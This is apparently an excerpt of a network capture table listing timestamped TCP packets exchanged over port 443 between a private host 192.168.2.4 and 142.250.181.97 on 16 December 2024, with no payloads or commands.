| Dec 16, 2024 16:33:24.336620092 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.336850882 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.336894035 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.336954117 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.340584993 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.341890097 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.408124924 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.408212900 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.412084103 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.413079023 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.413096905 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.413216114 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.417983055 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.418071032 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.426759958 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.426812887 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.435237885 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.435293913 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.439208984 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.439269066 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.440473080 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.440538883 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.448527098 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.448581934 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.453855991 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.453943014 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.457948923 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.458009958 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.466146946 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.466201067 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.468449116 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.468498945 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.478841066 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.478949070 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.481559038 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.481615067 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.492140055 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.492223024 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.495301008 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.495367050 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.505773067 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.505852938 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.508840084 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.508908987 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.519419909 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.519481897 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.522393942 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.522449017 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.532895088 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.532960892 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.533015013 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.533066988 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.547740936 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.547794104 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.568098068 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.568145990 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.568173885 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.568214893 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.599823952 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.599877119 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.599906921 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.599952936 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.602171898 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.602216959 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.606741905 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.606786013 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.606834888 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.606878042 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.610845089 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.610887051 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.610894918 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.610956907 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.621804953 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.621850967 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.621918917 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.621958971 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.621965885 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.622003078 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.631961107 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.632008076 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.632072926 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.632112980 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.643742085 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.643785000 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.643861055 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.643904924 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.653593063 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.653716087 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.653724909 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.653774977 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.662961006 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.663022041 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.663077116 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.663136959 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.673309088 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.673367977 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.673494101 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.673547983 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.683155060 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.683208942 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.683383942 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.683430910 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.693357944 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.693423986 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.693447113 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.693487883 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.703682899 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.703737974 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.703767061 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.703833103 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.713316917 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.713366985 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.713469982 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.713515997 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.722199917 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.722251892 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.722398043 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.722445011 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.731435061 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.731484890 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.731497049 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.731564999 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.739888906 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.739955902 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.739969015 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.740020990 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.741234064 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.741312027 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.748325109 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.748380899 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.749597073 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.749653101 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.757216930 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.757296085 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.758076906 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.758133888 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.767241001 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.767345905 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.768644094 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.768702030 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.770633936 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.770685911 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.772120953 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.772166014 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.776731968 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.776783943 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.778053045 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.778107882 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.782815933 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.782866001 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.784037113 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.784097910 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.789402962 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.789460897 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.793410063 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.793472052 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.797938108 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.798002958 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.799154043 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.799221039 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.803102970 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.804126024 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.804439068 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.804498911 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.808223963 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.808288097 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.809614897 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.809674025 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.813381910 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.813447952 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.814639091 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.814706087 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.818454027 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.818509102 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.818536043 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.818593025 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.823790073 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.823873997 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.824436903 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.824503899 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.828959942 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.829054117 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.829067945 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.829124928 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.834312916 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.834398985 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.834460020 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.834652901 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.840881109 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.840966940 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.840980053 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.841044903 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.847626925 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.847721100 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.847733021 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.847812891 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.850019932 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.850104094 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.850162983 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.850220919 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.854101896 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.854202032 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.854224920 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.854286909 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.858462095 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.858578920 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.858616114 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.858673096 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.862715006 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.862811089 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.862832069 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.862895012 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.867089033 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.867177010 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.867196083 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.867257118 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.871448040 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.871527910 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.871532917 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.871578932 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.875499964 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.875582933 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.876153946 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.876215935 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.880125999 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.880196095 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.880237103 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.880287886 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.886817932 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.886908054 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.886931896 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.886987925 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.889811039 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.889890909 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.889947891 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.890005112 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.895565987 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.895679951 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.895725012 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.895788908 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.898919106 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.898989916 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.899033070 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.899084091 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.904721022 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.904782057 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.904851913 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.904901981 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.908058882 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.908119917 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.908194065 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.908243895 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.914155960 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.914272070 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.914288998 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.914346933 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.917195082 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.917263985 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.917278051 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.917339087 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.923283100 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.923386097 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.923398018 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.923470020 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.925756931 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.925877094 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.926306963 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.926371098 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.926383018 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.926436901 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.931792974 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.931862116 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.931874037 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.931932926 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.934662104 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
| Dec 16, 2024 16:33:24.934730053 CET | 49784 | 443 | 192.168.2.4 | 142.250.181.97 |
| Dec 16, 2024 16:33:24.934775114 CET | 443 | 49784 | 142.250.181.97 | 192.168.2.4 |
